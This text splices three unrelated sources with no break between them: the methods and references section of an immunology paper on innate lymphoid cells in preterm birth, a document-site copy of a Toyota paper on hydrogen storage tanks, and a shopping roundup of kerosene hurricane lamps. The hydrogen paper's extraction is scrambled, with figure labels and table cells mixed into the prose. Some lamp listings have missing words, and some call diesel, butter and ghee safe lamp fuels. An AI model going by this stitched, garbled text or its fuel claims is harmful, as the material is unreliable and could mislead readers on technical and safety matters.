C-reactive protein and/or amniotic IL-6. Women subjected to elective pre-labor Caesarean section were not included as they have other medical etiologies, not focused on this work. Isolation of innate lymphoid cells In the FTB) peripheral blood was taken, during routine blood analysis on 3 occasions: 1st, 2nd and 3rd trimester. Cells were isolated using a Ficoll-paque™ gradient and stained as further discussed for flow cytometry analysis. After delivery, peripheral blood, cord blood and placenta were collected. In PTB, peripheral blood samples were obtained on two occasions: before and 24 h after treatment with progesterone. In this sense, a correlation was determined in the ILCs population studied, because of progesterone administration. After delivery, peripheral blood, cord blood and placenta were collected. In both PTB and FTB groups, the placenta was rinsed in phosphate buffered saline (PBS, Ca2+- and Mg2+-free) (Corning®, New York, USA), to wash cloths and superfluous blood. Decidual tissue was dissected while soaking in 1× PBS (Ca2+- and Mg2+-free). Lymphocytes were isolated from the decidua basalis and adjacent tissue (villi) as described by Yi Xu et al. [29]. Cells were counted on a Beckman Coulter AcT Diff automatic cell counter (Beckman Coulter, Brea, California, EUA), and a 100 μL cell suspension containing 1 × 106 isolated lymphocytes was placed in a cytometry tube and labelled with primary antibodies (BD Biosciences, San Jose, USA). For lymphocyte discrimination, CD45+ and CD3− were used. Lineage-negative (Lin−) cells were labeled with CD1 (clone HI149), CD11c (clone B-ly6), CD34 (clone 581), CD123 (clone 7G3), TCRγδ (clone xB1), TCRαδ (clone T10B9), BDCA2 (clone 201A), FcER1 (clone AER-37), CD19 (clone HI149), CD14 (clone M5E2), and CD94 (clone HP-3D9) and discriminated against CD127 (clone A019D5). Cells expressing CD161 (clone HP-3G10) were then selected. To ascertain the different ILC populations, CD117 (clone 104D2), CRTH2 (clone BM16) and NKp44 (clone p44–8) antibodies were used as described by Hazenberg et al. [30]. Gating strategy can be viewed in Figs. 6 and 7. Stained samples were acquired on a BD FACS Canto II flow cytometer (BD Biosciences, San Jose, CA, USA) equipped with 3 lasers to allow multicolor detection with different fluorophores, using BD FACSDiva v.6.1.3 software (BD Biosciences, San Jose, USA). All samples were then analyzed with FlowJo v.10.7 software (Tree Star Inc., Ashland, OR, USA). Gating strategy for identification of ILC3 subpopulations. a Identification of lymphocyte population. b Gating of CD45 + CD3-cells. c Selection Lin-CD127+ cells (d). isolating CD161+ cells. e Gating ILC3 cells as CRTH2- CD117+. f Discrimination between ILC3 NCR+ and ILC3 NCR- based on NKp44 expression (Data analyzed in FlowJo®) Enzyme-linked Immunosorbent assay (ELISA) For IL-17, IL-22, IFN-γ and IL-4 ELISA determination we used Biolegend Legend Max™ ELISA Kits. Peripheral whole blood and cord blood was collected in the moment of labor, to a 6 mL EDTA tube. To separate plasma from whole blood, tubes were centrifuged for 15 min at 1000 g. Samples were stored in 200 μL aliquots at − 80 °C to prevent repetitive freeze/thaw cycles. One hundred microliter of plasma was used in triplicate and absorbance was determined using a Bio-Rad® model 600 microplate reader, according to manufacturer protocols (Bio-Rad, Hercules, CA, USA). Average of triplicate readings was performed, and a standard curve was generated using a four-parameter logistic curve-fit to determine plasma concentrations in pg/mL. Statistical analysis Each data set was analyzed using student t-test analysis with a confidence interval of 95%. Statistical analysis was performed using GraphPad Prism, version 7 (GraphPad Software, Inc., La Jolla, CA, USA). Differences were considered statistically significant at a P value of < 0.05 and are annotated as follows: * p < 0.05; ** p < 0.01; *** p < 0.001 and **** p < 0.0001. Availability of data and materials The datasets analyzed during the current study are available from the corresponding author on reasonable request. Abbreviations - FTB: Full-term birth - PTB: Preterm birth - IFN-γ: Interferon gamma - IL: Interleukin - ILCs: Innate lymphoid cells - NCR-: Natural cytotoxic receptor - PGE2: Prostaglandin E2 - RORγt: Retinoic acid receptor-related Orphan nuclear Receptor gamma References Demographic statistics- Birth and Mortality indicators. Statistics Portugal - Instituto Nacional de Estatística (INE). Available from:. Retrieved 22/02/2015. Thaxton JE, Nevers TA, Sharma S. TLR-mediated preterm birth in response to pathogenic agents. Infect Dis Obstet Gynecol. 2010;2010:378472.. Epub 2010 Aug 23. Hanssens S, Salzet M, Vinatier D. Immunological aspect of pregnancy. J Gynecol Obstet Biol Reprod. 2012;41(7):595–611. Areia AL, Vale-Pereira S, Vaz-Ambrósio A, Alves V, Rodrigues-Santos P, Rosa MS, et al. Does progesterone administration in preterm labor influence Treg cells? J Perinat Med. 2016;44(6):605–11.. Areia A, Vale-Pereira S, Alves V, Rodrigues-Santos P, Santos-Rosa M, Moura P, et al. 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Expression of interleukin-22 in decidua of patients with early pregnancy and unexplained recurrent pregnancy loss. J Assist Reprod Genet. 2015;32(6):977–84.. Hanna N, Bonifacio L, Reddy P, Hanna I, Weinberger B, Murphy S, et al. IFN- γ -mediated inhibition of COX-2 expression in the placenta from term and preterm labor pregnancies. Am J Reprod Immunol. 2004;51(4):311–8... Available from:.. Halim TYF, Steer CA, Mathä L, Gold MJ, Martinez-Gonzalez I, McNagny KM, et al. Group 2 innate lymphoid cells are critical for the initiation of adaptive T helper 2 cell-mediated allergic lung inflammation. Immunity. 2014;40(3):425–35.. Hepworth MR, Monticelli LA, Fung TC, Ziegler CGK, Grunberg S, Sinha R, et al. Innate lymphoid cells regulate CD4 + T-cell responses to intestinal commensal bacteria. Nature. 2013;498(7452):113–7 Available from:. Maizels RM, Withers DR. MHC-II: a mutual support system for ILCs and T cells? Immunity. 2014;41(2):174–6. Available from:.. Von Burg N, Chappaz S, Baerenwaldt A, Horvath E, Bose Dasgupta S, Ashok D, et al. Activated group 3 innate lymphoid cells promote T-cell-mediated immune responses. Proc Natl Acad Sci U S A. 2014;111(35):12835–40 Available from:. Xu Y, Plazyo O, Romero R, Hassan SS, Gomez-Lopez N. Isolation of leukocytes from the human maternal-fetal interface. J Vis Exp. 2015;2015(99):316–24. Hazenberg MD, Spits H. Review article human innate lymphoid cells. Blood. 2014;124(5):700–10.. Funding The authors would like to thank the Centro de Investigação em Meio Ambiente, Genética e Oncobiologia (CIMAGO) of the Faculty of Medicine of Coimbra University for funding this study (Grant Number 06/14). This work was partially financed by the European Regional Development Fund (ERDF), through the Centro 2020 Regional Operational Program and through the COMPETE 2020 - Operational Program for Competitiveness and Internationalization and Portuguese national funds via FCT – Fundação para a Ciência e a Tecnologia, under projects POCI-01-0145-FEDER-007440 and UID/NEU/04539/2019 (to PR-S). This work was based on and shares similarity with a previous unpublished version of the article, released on as a preprint in ResearchSquare (DOI:). Ethics declarations Ethics approval and consent to participate A written protocol encompassing the research details and general objectives of the manuscript was approved by the Ethics Committee for Health of the Centro Hospitalar e Universitário de Coimbra, reference N.0179/CES from 19 to 10-2016. Informed consent was obtained from each patient under strict ethical protocols. Consent for publication In the name of all the authors I give my full consent for publication. Competing interests We wish to confirm that all authors contributing to this work have no conflicts of interest associated with, J., Rodrigues-Santos, P., Areia, A.L. et al. Type 2 and type 3 innate lymphoid cells at the maternal-fetal interface: implications in preterm birth. BMC Immunol 22, 28 (2021). Received: Accepted: Published: DOI: Keywords - Preterm birth - Inflammation - Innate immune response - Innate lymphoid cells - Preterm labor

Deutsch Español Français Português Add new document Recent challenges of hydrogen storage technologies for fuel cell vehicles Recent challenges of hydrogen storage technologies for fuel cell vehicles Recent challenges of hydrogen storage technologies for fuel cell vehicles international journal of hydrogen energy 34 (2009) 4569–4574 Available at journal homepage: Recent... Download PDF 748KB Sizes 0 Downloads 210 Views Recommend Documents Recent challenges of hydrogen storage technologies for fuel cell vehicles Efficiencies of hydrogen storage systems onboard fuel cell vehicles Fuel economy of hydrogen fuel cell vehicles Solar-hydrogen fuel-cell vehicles Hydrogen storage tanks for vehicles: Recent progress and current status Hydrogen storage and production by redox of iron oxide for polymer electrolyte fuel cell vehicles 01990 Fuel economy of hydrogen fuel cell vehicles Refueling-station costs for metal hydride storage tanks on board hydrogen fuel cell vehicles Comments on solid state hydrogen storage systems design for fuel cell vehicles Options for refuelling hydrogen fuel cell vehicles in Italy Affordable hydrogen supply pathways for fuel cell vehicles Energy utilization and efficiency analysis for hydrogen fuel cell vehicles PDF Reader Full Text international journal of hydrogen energy 34 (2009) 4569–4574 Available at journal homepage: Recent challenges of hydrogen storage technologies for fuel cell vehicles D. Mori*, K. Hirose Toyota Motor Corporation, Fuel Cell System Development Division, 1200, Mishuku, Susono, Shizuoka, 410-1193 Japan article info abstract Article history: Fuel cell vehicles have a high potential to reduce both energy consumption and carbon Received 24 March 2008 dioxide emissions. However, due to the low density, hydrogen gas limits the amount of Accepted 23 July 2008 hydrogen stored on board. This restriction also prevents wide penetration of fuel cells. Available online 5 October 2008 Hydrogen storage is the key technology towards the hydrogen society. Currently highpressure tanks and liquid hydrogen tanks are used for road tests, but both technologies do Keywords: not meet all the requirements of future fuel cell vehicles. This paper briefly explains the Fuel cell vehicles current status of conventional technologies (simple containment) such as high-pressure Hydrogen storage tank systems and cryogenic storage. Another method, hydrogen-absorbing alloy has been Metal hydride long investigated but it has several difficulties for the vehicle applications such as low Hydrogen-absorbing alloy temperature discharge characteristics and quick charge capability due to its reaction heat. Infrastructure We tested a new idea of combining metal hydride and high pressure. It will solve some difficulties and improve performance such as gravimetric density. This paper describes the latest material and system development. ª 2008 International Association for Hydrogen Energy. Published by Elsevier Ltd. All rights reserved. 1. Introduction Mobility is one of human beings’ fundamental desires. Along with the progress of the world economy it is likely to expand further in the future, and people demand mobility everywhere in the world. However, it should be clean and safe as well as inexpensive. The increase of personal mobility mainly derived from automobiles raises environmental concerns such as exhaust emission and global warming. Transport consumes about one quarter of the world total energy. In the case of internal combustion engines, a large part of the fuel energy is emitted as heat due to friction loss and exhaust gas. So higher efficient technologies such as fuel cell vehicles are hoped for [1]. With this scope, hydrogen is expected to be a clean and recyclable energy carrier after the fossil fuel. However, the development of fuel cell vehicle is facing a big barrier of on- board hydrogen storage due to its gaseous property of low density. The cruising range of vehicle is limited by the amount of hydrogen on board. It has only 1/10 of energy compared with gasoline from the same volume. Fuel cell vehicle’s high efficiency can only compensate for part of this disadvantage. Therefore, it is necessary to increase both storable hydrogen and efficiency to achieve comparable range as gasoline vehicles. In other words, hydrogen storage is the key technology for the introduction of the hydrogen society. We need a new material and concept to meet vehicle requirements. We engineers are trying to design a new tank system to store more hydrogen on board. In order to draw a new tank design, we need several fundamental data such as material density, heat conductivity, volumetric change, heat of absorption or dehydrogenation energy, as well as gravimetric density and hydrogen uptake [2–7]. From those data we can propose new * Corresponding author. Tel.: þ81 55 997 9740; fax: þ81 55 997 7120. E-mail address: (D. Mori). 0360-3199/$ – see front matter ª 2008 International Association for Hydrogen Energy. Published by Elsevier Ltd. All rights reserved. doi:10.1016/j.ijhydene.2008.07.115 4570 international journal of hydrogen energy 34 (2009) 4569–4574 Hydrogen Supply Path FC vehicle Hydrogen Production Hydrogen Station High Pressure H2 FC Stack Gass Storage Hydrogen Gass Hydro gen Gass Storage Gass Storage Solid Storage Statio n Gass Hydrogen Requiment P: 0.2 MPa(G) T: free V: 1,200 NL/min(max) No Toxity for stack Material Research Science Phase On-board Storage LH2 H2 Liquid Storage Liquid Charge FC vehicle Liquid Storage Fig. 1 – Total hydrogen path from production to FC vehicle. direction of development. We also need collaboration with material scientists and engineers from the early stage in order to develop new practical ideas. We hope this will happen soon and realize the hydrogen society in the near future. of material science and engineering, we anticipate the further research. 3. Hydrogen and infrastructure Fig. 1 shows the total hydrogen path from production to onboard vehicle consumption. It is very important to consider this whole picture when we discuss about hydrogen storage. It is preferable to keep the low-pressure gaseous form in terms of efficiency. However, vehicles cannot store enough hydrogen, so we need either to compress hydrogen gas or to make it absorbed into a solid material. Otherwise it is not preferable from the viewpoint of energy but to liquefy the hydrogen then transport and store as a liquid phase. In the later case, on-board storage is available in either liquid or evaporated gaseous form. The solid form is preferable for the on-board storage but it is still in the scientific phase. On-board storage technologies must meet several requirements simultaneously, including the infrastructure, cost and charging capabilities. Hydrogen storage technologies shall be considered from the energy production to the end usage. From the vehicle side, the following requirements are presented: 1) 2) 3) 4) 5) Safety Performance (Charge/discharge, weight volume) Cost Technical adaptation for the infrastructure Scalability (applicable to small and large vehicles) Currently no candidate exists to meet all the requirements. However, since many efforts are being made in both the fields Fig. 2 shows the current technologies in the engineering phase and the gap from the targets indicated. High-pressure tanks of 35 MPa and 70 MPa, liquid hydrogen tank and hydrogenabsorbing alloy tank as well as chemical storage are shown in the chart. 3.1. High-pressure tank system Most vehicles currently in the on-road testing phase are equipped with a composite high-pressure tank. This is because of its simple structure and charge–discharge easiness. Hydrogen-absorbing alloy Heavy Advanced hydrogen-absorbing alloy Carbon nanomaterial Tank Weight (kg) 2. Current status of hydrogen tank systems Organic Hydride 25MPa 35MPa 70MPa Light ICE gasoline Small Liquid hydrogen High-pressure hydrogen Tank Volume (L) Large Fig. 2 – Hydrogen storage technologies and targets. international journal of hydrogen energy 34 (2009) 4569–4574 composition V1 V2 V3 V4 All Metal Metal Liner + GFRP layer (hoop lap) Metal Liner + CFRP layer (full lap) Plastic Liner + CFRP layer (full lap) Under 35MPa (same size) 1.0 Thickness ratio (cylinder part) 4571 0.8 0.6 0.4 Carbon steel Carbon steel + GFRP V1 V2 0.2 Al liner + CFRP Plastic liner + CFRP V3 V4 0 Thickness of tank Fig. 3 – Wall thickness of different types of tanks. High-pressure tanks can be categorized into four types from the regulation (Fig. 3). The mainstream of the hydrogen tank is carbon composite V3 and V4. This is different from the compressed natural gas vehicle, which mainly employs type V1 and V2. It is because the hydrogen vehicle uses higher pressure than the natural gas vehicle, which is normally compressed to 20–25 MPa. Recently there is a trend to move to 70 MPa tank to carry more hydrogen in order to extend vehicle range. However, pressure of this range makes the relationship between the hydrogen amount and pressure un-linear. Double pressure cannot lead to the storing of twice much hydrogen, and only results in 40–50% increase. Fig. 4 shows the latest tank we have developed in-house. Optimization of material and winding strategy has resulted in 65% more hydrogen storable for the same vehicle [8]. The weight of the tank may have more possibility to be lightened if the material durability is assured. However, high-pressure tanks cannot be shrunk further because of its physical property. Volumetric property of the high-pressure tank must be compromised with the vehicle architecture in order to extend the range of the vehicle. 3.2. Hydrogen exists in a liquid form when it is cooled down to 20 K at atmospheric pressure, and its density is much higher than the gaseous form. Liquid hydrogen is attractive for the extension of vehicle driving range because of its high 35MPa tank hydrogen load ratio Liquid hydrogen tank 70MPa tank 2 1.8 500km< 65%UP 1.6 1.4 1.2 330km 300km 1 10%UP 0.8 0.6 Conventional (35MPa) Developed (35MPa) Developed (70MPa) Fig. 4 – Improvement of storage capacity by new tank. 4572 international journal of hydrogen energy 34 (2009) 4569–4574 13 12 1 2 6, 7 3 5, 8, 9, 10, 11 4 1 2 3 4 5 6 7 8 9 10 11 12 13 Outer tank Inner tank Coupling (Johnston-Cox) Heater Heat exchanger Cryogenic filling valve Cryogenic return valve Pressure regulation valve Shut-off valve Boil-off valve Safety relieve valve Support post Liquid level sensor Fig. 5 – Liquid hydrogen tank system (Source: Magna Steyr and BMW). Aluminum fin of heat exchanger CFRP Aluminum liner MH Powder H2 Gap MH Coolant Valve MH powder tubes Sealing Fig. 6 – Schematic view of high-pressure MH tank. 3.3. Hydrogen-absorbing alloy tank Hydrogen-absorbing alloy tanks have an advantage of storing hydrogen more dense than the liquid hydrogen, thus the tank can be built small and has a characteristic of reversible hydrogen charge and discharge capability. However, it has a low gravimetric density (hydrogen weight per tank weight). Several attempts have been made to increase the density [10]. Materials such as Ti–V–Mn, Ti–V–Cr, Ti–V–Cr–Mn and Ti– Cr (MoRu) are being developed and are known to have a capability up to 2.8 mass% [11–13]. However, vehicle tests showed some difficulties such as handling of a large amount of heat while absorbing hydrogen (which requires refrigerator for the quick charge), and low hydrogen release in the cold environment. 100 100 Max. hydrogen charging rate 11,000 L/min Hydrogen amount (%) density, and thus it has potential of storing a large amount of hydrogen on board. In addition, from the infrastructure point, the potential of a large amount of hydrogen that can be easily stored and transported is also very attractive. Some studies show the extra energy consumption of the liquefaction can be compensated by the easiness of delivery and storage. Liquid hydrogen tanks have a double wall construction to keep the ultra low temperature with the thermal insulation. Thermal insulation minimizes the heat conductivity with the vacuum multi-layer insulation (MLI). MLI consists of a thin metal layer on the spacer material to prevent both radiation and thermal irradiation between the layers. It also prevents heat intrusion from irradiation and gaseous convection. The latest tank has a capability of limiting the heat flow to a few watts per second, resulting in the liquid hydrogen evaporation of a few percent per day. Liquid hydrogen tank has a relatively long history but products and suppliers are limited for lack of data and experiments. Further development is anticipated with the latest thermal insulation technologies, as well as an advanced liquefaction and charge–discharge strategy. Fig. 5 illustrates the latest liquid hydrogen tank (curtsy of Magna Styer and BMW) [9]. 80 80 60 60 Pressure : 25 MPa Tank number : 4 Volume : 180 L Hydrogen : 5 kg Initial temperature : 293 K 40 20 0 0 1 2 3 4 Time (min) Fig. 7 – Hydrogen charging speed of high-pressure MH tank. 40 20 5 0 international journal of hydrogen energy 34 (2009) 4569–4574 Radiator 4573 H2 gas Flow switching valve Fuel Cell Cooling Temperature sensor Water pump Latent heat Flow switching valve High-pressure MH tank Fig. 8 – Concept of charge and discharge system. 4. Hybrid tank system, high-pressure hydrogen-absorbing alloy tank A new system has been tested in order to improve charge– discharge characteristics. It combines a high-pressure tank and high-pressure equilibrium type absorbing alloys. This idea is presented to have an improved characteristic of higher volumetric density [14–16]. 4.1. Experiment A full size high-pressure tank was prototyped with the heat exchanger and metal hydride (Ti1.1CrMn) inside (See Fig. 6) [17,18]. This alloy can absorb 1.9% hydrogen. A vehicle-sized heat management system, such as a radiator and fan, is used for the experiment. 4.2. Fig. 8 shows the result of an on-board charging test. A vehicle-sized radiator is able to remove heat from metal hydride and give 80% charge within 5 min. High-pressure hydrogen environment helps MH absorb hydrogen quickly and it acts as a reservoir for the case of discharge. Thus this approach solves the difficulty of classical metal hydride and creates practical hydrogen storage for the hydrogen-powered fuel cell vehicles. Table 1 shows the comparison of high-pressure tank, hydrogen-absorbing alloy tank and high-pressure hydrogenabsorbing alloy tank system. This new approach (Hybrid Containment) will give a new scope on the use of existing simple containment (high pressure and liquid hydrogen tank) and future chemical containment such chemical hydride and complex hydride. This is the example of close collaboration of material research and engineering. It will give further extension of the potential of materials. Results and discussion Fig. 7 shows the result of hydrogen storage capacity from the 180 L tank. About 7.3 kg of hydrogen can be stored with the pressure of 35 MPa. This is 2.5 times more hydrogen stored in comparison with a 35 MPa high-pressure tank. Even a larger amount of hydrogen can be stored. The tank can be charged with hydrogen to 80% capacity in just 5 min. At the temperature –30 C, the tank is still capable of supplying the required hydrogen. The heat exchanger and radiator are the actual vehicle size and performance level. 5. Future Fig. 9 summaries the hydrogen uptake and DH, energy to take out hydrogen from hydride. There is a relation between them. It may tell that higher the hydrogen uptake more energy necessary to take out. At this moment there are no concrete theory to support. Even we are trying to find a material in the unstable area in the chart. We engineers have to prepare certain amount of heat management for the future hydrogen Table 1 – Specification of each tank system Low-pressure MH tank High-pressure tank Hydrogen storage capacity Tank weight Hydrogen filling time 3.5 kg/tank; 120 L 300 kg 0.5–1 h; With external cooling facility 3 kg/tank; 180 L <100 kg 5–10 min Hydrogen release at low temperature Control ability Impossible at low temperature Difficulty in acceleration Possible Safety Low pressure (<1 Mpa) High pressure (35 Mpa) Good High-pressure MH tank 7.3 kg/tank; 180 L 420 kg 5 min/80%; Equal to high-pressure tank without external cooling facility Possible even at 243 K Good; Equal to high-pressure tank High pressure (35 Mpa) 4574 international journal of hydrogen energy 34 (2009) 4569–4574 LiBH4 Acknowledgement 10 MgLi-NH2 This experiment has been conducted with the close collaboration with Toyota Industries Corporation. Unstable area Hydrogen uptake [wt%] 8 Mg 6 Organic hydride (Decalin) references NaA lH4 35MPaMH(TiCrMn) 4 Stable area 2 Carbon (physi-sorption) Liq.H2 70MPaH2 35MPaH2 0 80 60 40 20 0 Hydride ΔH [KJ/molH2] Fig. 9 – Hydrogen uptake and energy. Heavy Hydrogen-Adsorbing Alloy 2mass% HP+Hydrogen-Absorbing 2mass% High pressure 4mass% 70MPa 35MPa Liquid Hydrogen Target Light Small Volume Large Fig. 10 – New status of storage technologies. storage. If the new material reaches 4 mass% level, the tank system reaches a very attractive area (Fig. 10). In between the simple containment and chemical containment, there can be a new area of hybrid containment where new idea/concept can be raised by the close collaboration of scientists and engineers. [1] Schlapbach L, Zu¨ttel A. Nature 2001;414:353–8. [2] Ahluwalia RK. Sodium alanate hydrogen storage system for automotive fuel cells. Int J Hydrogen Energy 2007;32:1251–61. [3] Kong VCY, Kirk DW, Foulkes FR, Hinatsu JT. Development of hydrogen storage for fuel cell generators 2: utilization of calcium hydride and lithium hydride. Int J Hydrogen Energy 2003;28:205–14. [4] Levesque S, Ciureanu M, Roberge R, Motyka T. Hydrogen storage for fuel cell systems with stationary applications – I. Transient measurement technique for packed bed evaluation. Int J Hydrogen Energy 2000;25:1095–105. [5] Otsuka K, Yamada C, Kaburagi T, Takenaka S. Hydrogen storage and production by redox of iron oxide for polymer electrolyte fuel cell vehicles. Int J Hydrogen Energy 2003;28: 335–42. [6] Reddy ALM, Ramaprabhu S. Design and fabrication of carbon nanotube-based microfuel cell and fuel cell stack coupled with hydrogen storage device. Int J Hydrogen Energy 2007;32: 4272–8. [7] Swesi Y, Ronze D, Pitault I, Dittmeyer R, Heurtaux F. Purification process for chemical storage of hydrogen for fuel cell vehicles applications. Int J Hydrogen Energy 2007;32: 5059–66. [8] Mizuno M, Ogami N, Negishi Y, Kobayashi N. Proceedings of the 2005 Spring Meeting of JSAE. [9] Krainz G, Hoedl P, Hofmeister F. Automotive production of liquid hydrogen storage systems. The International German Hydrogen Energy Congress, Essen; 2004. [10] Takeichi N, Senoh H, Yokota T, Tsuruta H, Hamada K, Takeshita HT, et al. Int J Hydrogen Energy 2003;28:1121–9. [11] Akiba E, Okada M. MRS Bull 2002;27:699–703. [12] Akiba E, Iba H. Intermetallics 1998;6:461–70. [13] Okada M, Kuriiwa T, Tamura T, Takamura H, Kamegawa A. Met Mater Int 2001;7:67. [14] Mori D, Haraikawa N, Kobayashi N, Shionozawa T, Matsunaga T, Kubo H, et al. Mater Res Soc Symp Proc 2005. p. 844E. [15] Mori D, Kobayashi N, Matsunaga T, Toh K, Kojima Y. Materia Japan 2005;44:257. [16] Mori D, Kobayashi N, Shionozawa T, Matsunaga T, Kubo H, Toh K, et al. Japan Inst Metals 2005;69:308–11. [17] Kojima Y, Kawai Y, Towata S, Matsunaga T, Shinozawa T, Kimbara M. Mater Res Soc Symp Proc 2005. p. 884E. [18] Kojima Y, Kawai Y, Towata S, Matsunaga T, Shinozawa T, Kimbara M. Collected Abstracts of the 2004 Autumn Meeting of the Japan Inst. Metals. p. 157. × Report "Recent challenges of hydrogen storage technologies for fuel cell

Glass hurricane lamps come in a variety of shapes and sizes, making it difficult to choose just one. Some lamps have a more traditional look, while others have a more contemporary feel. Consider your preferences and your needs before making a decision. If you don’t need to light up an entire room, a hurricane lamp provides a beautiful addition to any tabletop setting. You can use your lamp as part of a centerpiece, or place it on the floor next to a coffee table. Place a candle inside the lamp and enjoy the ambiance. So, which one do you choose? Our top picks: - Best for Vintage : Touch of Class Adelaide Hurricane Table Lamp - Best for Romance: Beatrice Hurricane Rose Table Lamp Pink One Size - Best for Gift Choice : Touch of Class Olivia Jane Hurricane Table Lamp - Best for Design Unique: Mindy Hobnail Glass Table Lamp - Best for Light Charming: Design Toscano Art Nouveau Rose - 1 ⅝” fitter base with 2” bulge | 6 ½” Tall | will fit a Gem Arctic and also #0 Hornet Burner |. - 【SIZE】This kerosene lamp is about 7 inches high (the lampshade is 3.5 inches high and the base is 4.7 inches high),and the base is 4.7 inches wide.The capacity of the lamp body is about 240ml. - 【CONVENIENT】The paraffin lamp is made of transparent glass,which has good light transmittance and is easy to clean;5 spare wicks and a removable wick regulator are provided,which can easily replace the wick and kerosene. - 【SAFETY】Our oil lamps are made of high-temperature resistant glass and high-performance metal,which can be used for a long time.Compared with most oil lamps made of low-quality glass,our oil lamps are not easy to burst and have a longer service life. - 【SUITABLE for MULTIPLE SCENARIOS】Our kerosene lamps can be used as indoor emergency lights,outdoor camping lights,living room,dining room,bar,balcony lighting decoration,creating a romantic atmosphere,is the perfect combination of decoration and practicality. - 【PRECAUTIONS and WARNING】You only need to add about 70%of the to the oil lamp,not 100%,this is to prevent leakage and cause a fire,and the use of gasoline is prohibited,which is a dangerous . - 3” fitter base with 4” bulge | 10” Tall | will fit #2 Burners and 3" Galleries | Beautiful High Quality Hurricane Lamp Glass Replacement - Oil Lamp Chimney Made of Superior Borosilicate Glass Material which will sustain and remain unaffected by high temperature. - 1 ¼” fitter base with 1 ½”” bulge | 4 1/2” Tall | will fit Japanese Burners |. - ➤ Size and Material: The vintage kerosene lamp is made of high-quality glass and metal, which is environmentally friendly, firm. Oil lamps for indoor use is wear-resistant and durable, lighting it will bring warmth, light and romance to your space. Oil Lamp size: 18.5 * 11cm / 7.3 * 4.4inch. - ➤ Antique Design: The vintage kerosene lamp adopts retro style, nostalgia, classic. Exquisite workmanship, simple style. Translucence design, contrast color, good durability, this hurricane lamp is very cute, beautiful and fashionable. - ➤ Easy to Use: Simple using method, you can add fuel and use it, this lamp can create a romantic and unique atmosphere, which is suitable for daily use. The lamp oil wick can be easily adjusted or replaced, and it is easy to add fuel. Kerosene lamp is recommended to use kerosene, diesel, paraffin oil, water oil, vegetable oil, ghee, butter and other safe fuels. - ➤ Oil Lamp: This hurricane lamp in brass finish combines collection, decoration and practical value, high temperature and windproof glass lampden material, good light transmission. Two in one design, not only can be used as the kerosene lamp, but also can be used as the decorative artware, which can meet your different needs. - ➤ Wide Application: With the wide range of applications, this lamp can be placed in the cafe shops, living room, office and other places. Power failure emergency night light, used for home, weddings, restaurants, parties, Christmas, Halloween, festivals to create atmosphere or decoration; kerosene Lamp can also be used as Buddha lights, temples, churches and pujas. - Amazon Kindle Edition - Garstecki, Julia (Author) - English (Publication Language) - 128 Pages - 07/23/2019 (Publication Date) - Quarry Books (Publisher) - View our collection - Contact details - English (Publication Language) - 【Hanging & Tabletop Design】Designed with a detachable clip-type hanging bracket, the oil lamp lantern can be hung on the doorway, corridor, wall, and plays the role of decoration and lighting. And the mirror on the hanging bracket can also improve the brightness and lighting range. Remove the bracket and use it as an ordinary hurricane lantern, which is retro and beautiful, suitable for desktop, living room, dining table decoration, and light up your home. - 【Premium Material & Windproof Design】The kerosene oil lamp is made of high-temperature resistant glass, which will not burst even under high temperature and is strong and durable for long time service. The high-quality gold-plated wick frame is beautiful and durable, and has elasticity to firmly fix the lampshade. The transparent and bright windproof lampshade can effectively keep the flame from going out and light up the darkness for you at all times. - 【Lighting and Decoration】This vintage oil lamp can be used as a power outage emergency light or as a candlelit dinner or candlestick lamp to create a festive atmosphere. With retro style, lighting it will bring warmth, lightness and romance to your space, ideal for living room, fireplace, corridor, dining room, bar decoration. Also can be used for Buddhist hall, church, shrine, temple, wishing. This rustic hurricane lamp is the perfect combination of lighting and decoration. - 【Dimensions and Precautions】The size of the glass kerosene lantern is 11× 5.1 inches, the capacity is 300 ml/10.55oz, the burning time is up to 30 hours. The width of the wick is 3/4 inches, use with the high quality cotton wick, the absorption is fast, smokeless and tasteless. The kerosene lamp only needs be refueled 70%, do not fill up the oil to prevent leakage. It is recommended to use kerosene, diesel, paraffin oil, vegetable oil, ghee, butter and other safe fuels. - 【Easy to Use and Clean】Rotate to remove the wick holder for easy refueling and wick replacement. Twisting the flame regulator can freely adjust the size of the flame. Design with transparent oil bottle, the oil volume is clearly visible, and refueled in time to prevent the wick from drying out. Divided into lampshade, wick holder, oil cup, hanging bracket, the outdoor kerosene lantern is easy to clean. - Product Name: Adsled, Diameter by 8cm (3.2") / High by 18cm (7.2 Inch), Quantity:1pcs Come with the Wick - FUEL IS NOT INCLUDED. Product shape same photos - Antique style oil lamp, high temperature and windproof glass, good light transmission effect,Home lighting emergency light can be placed in the kitchen, living room, bedroom, power failure emergency use, also suitable for family dinners, restaurants, Decoration parties to create an atmosphere - REFILL & REUSE: Our liquid candles! - Warm tips: The Glass is Fragile products, we accept replacement of the problem photos at the first time provide to FBA or Seller to confirm to resend - ★Transparent glass lamshade, good light transmission and easy to clean. - ★Oil lamps great for creating everyday ambiance, A household necessity in a power outage. - ★Holds 11.19 oz of fuel and oil lamp lantern burns for up to 15 hours. - ★Composed of three parts,the body is very easy to fill, lamp body material: glass. - ★Kerosene or standard lamp oil recommended, do not overfill. - Clear Glass Hurricane Style Lamp Shade - All shades have a 1 5/8 inch fitter.(outside to outside diameter) Inside diameter measures 1 1/2 inches. - Excellent replacement glass shade or for traditional style lighting - Classic curved shape with flared top - Designed by B&P Lamp Supply - It makes your room and bedroom full of warmth and mood. Beautiful and fashionable, simple color matching. - This simple lampshade can be used for DIY kerosene lamp, and good windproof effect. - This lamp shade is suitable for the use in the home, store, dorm, dormitory, hotel and some other occasions. - This kerosene lamp chimney is made of premium material for durable and practical use. - It can create warm atmosphere for your home or other places you want to decorate. - DIY HURRICANE LANTERN - Once it’s empty, turn your favorite wine or liquor bottle into a beautiful centerpiece with our Wine Bottle Hurricane Lamp. With an elegant glass chimney, ceramic stopper, and cotton wick, it adds rustic charm to your home. - GREAT DIY PARTY DECOR - This easy-to-use holiday decor is perfect for adding extra sparkle to any table. Whether you’re hosting a small birthday party or a large wedding, this hurricane lamp in a bottle decor is a beautiful way to make any space festive. - EASY TO USE - Designed to look like a traditional hurricane lamp, this party centerpiece fits perfectly into most standard size bottles. Give empty bottles you’ve saved a new life as table centerpieces with a gentle illumination. Kerosene not included. - EVEN BETTER THAN CANDLES - Give a soft, romantic glow to a dinner for two or light up a large event space with charming farmhouse style. Perfect for rustic weddings, cozy home decor, or a summer soiree. - WARM VINTAGE STYLE - Twine’s collections emphasize timeless elegance, natural materials, and a nostalgic sense of quality. From elegant party decorations to quaint cheese boards and rustic barware, Twine ties everything together. - Oil Lamp Globe Replacement: Comes with 1pc Glass Kerosene Lampshade, the size is about 16. 00X8. 00X8. 00cm/ 6. 29X3. 